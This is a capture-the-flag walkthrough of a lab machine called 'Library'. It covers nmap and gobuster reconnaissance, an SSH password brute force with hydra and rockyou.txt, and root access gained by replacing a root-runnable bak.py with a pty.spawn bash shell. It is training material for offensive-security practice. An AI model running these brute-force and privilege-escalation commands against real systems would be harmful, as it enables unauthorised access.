Library

Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (-Pn)

nmap -Pn 10.10.121.105

Detailed Nmap Scan :

Command Breakdown:

  • (-sV): Service version

  • (-sC): Default nmap scripts

  • (-p): Specifying ports 22,80

  • (-oN nmap): Saving it into a file called nmap

nmap -sV -sC -p 22,80 -oN nmap 10.10.121.105

Enumeration

Lets visit the webpage

Looking through the website we have a username meliodas .

Lets look at robots.txt as the nmap told us that there is a disallowed entry.

And there is nothing, lets run gobuster to find hidden directories as there is nothing else on the main page to enumerate.

Nothing interesting pops up, so lets run hydra to brute force ssh with the username meliodas.

Exploitation

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.10.121.105/

We have the password, lets login through ssh

We can read the user.txt file

Privilege Escalation

We have a file called bak.py , lets read it and look at the permissions of the file

Its owned by root! We can also run this file as root

Lets change the contents of the file to get a shell as root, we cannot change the contents of the file, so lets remove the file and create a new file with the same name and our own content.

First delete the file with this command

rm bak.py

Now we can echo the script into the file

echo 'import pty; pty.spawn("/bin/bash")' > /home/meliodas/bak.py

Now lets run the file

We are now root, we can read the root.txt file

Last updated